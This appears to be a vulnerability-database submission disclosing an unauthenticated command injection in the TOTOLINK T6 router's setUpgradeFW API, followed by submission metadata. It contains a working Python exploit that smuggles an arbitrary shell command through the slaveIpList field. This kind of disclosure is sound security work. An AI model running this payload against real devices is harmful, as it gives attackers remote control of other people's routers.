| 제목 | TOTOLINK T6 V4.1.5cu.748 Command Injection |
|---|
| 설명 | Unauthenticated Command Injection Vulnerability in Endpoint "setUpgradeFW"
An unauthenticated command injection vulnerability exists in the API endpoint setUpgradeFW due to improper sanitization of the slaveIpList parameter. The lack of input validation on this parameter allows an unauthenticated attacker to inject arbitrary system commands, which can then be executed on the server.
Exploit code
def execute_command(target_ip, cmd):
http_sv = "http://%s/cgi-bin/cstecgi.cgi" % target_ip
payload = '''
{
"topicurl":"setUpgradeFW",
"FileName":"asdf.bin",
"slaveIpList":"a\\"; %s;\\""
}
''' % cmd
res = requests.post(http_sv, data=payload)
if res.status_code == 200:
return True
else:
return False |
|---|
| 원천 | ⚠️ https://youtu.be/dqhrFgVR-YQ |
|---|
| 사용자 | ElvisBlue (UID 87432) |
|---|
| 제출 | 2025. 07. 03. AM 11:38 (1 년도 ago) |
|---|
| 모더레이션 | 2025. 07. 10. AM 09:26 (7 days later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 193522 [TOTOLINK T6 4.1.5cu.748_B20211015 MQTT Packet setUpgradeFW 권한 상승] |
|---|
| 포인트들 | 0 |
|---|